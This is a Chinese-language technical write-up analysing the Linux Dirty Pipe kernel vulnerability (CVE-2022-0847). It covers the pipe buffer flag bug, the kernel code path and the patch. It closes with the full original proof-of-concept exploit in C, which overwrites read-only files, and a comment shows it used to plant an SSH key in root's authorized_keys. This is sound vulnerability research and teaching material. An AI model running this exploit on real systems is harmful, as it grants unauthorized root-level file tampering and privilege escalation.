  • qemu-system-x86_64 4.2.1

漏洞验证

首先创建一个只读文件foo.txt,并且正常情况下是无法修改该可读文件,但是利用了DirtyPipe漏洞后发现可以将字符aaaa写入到只读文件中

image-20221227160027149

漏洞分析

poc作为切入点,分析漏洞成因

首先poc创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,poc首先要做的是将这16个管道缓冲区填满。

...
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
...

在进行管道写的操作时,内核是采用pipe_write函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是导致漏洞成因,因此poc为了使16个管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。

image-20221227161042200

随着poc将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是pipe_read函数,在整个管道读的过程中是不会修改管道的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在

...
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
...

紧接着是触发漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文件,对应上述的foo.txt只读文件,p[1]指向的是我们的管道符。

...
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
...

在调用splice函数时,内核在某个阶段会调用copy_page_to_iter函数,可以看到当管道满了之后就没办法通过splice函数往管道内继续输入数据,那么splice函数就无法正常执行了,因此需要清空管道内的数据。

image-20221227162317690

后面则到达了漏洞发生的代码,由于我们使用splice函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。

image-20221227162727269

这里记录一下物理页的地址

image-20221227162927180

最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部

...
nbytes = write(p[1], data, data_size);
...

由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑

image-20221227163143710

最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page

image-20221227163326700

可以看到buf->pagepage地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中

image-20221227163549082

补丁

补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程

image-20221227164411448

总结

DirtyPipe攻击流程

  • 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位

  • 清空管道缓冲区

  • 使用splice函数获取文件所对应的物理页

  • 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作

DirtyPipe利用的限制

  • 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行

  • 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据)

  • 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页

完整的poc

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1
\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
  the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
  leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
  pipe_buffer without initializing its "flags", the buffer
  will be mergeable */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
  PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
  pipe; this will add a reference to the page cache, but
  since copy_page_to_iter_pipe() does not initialize the
  "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
  will instead write into the page cache, because of the
  PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}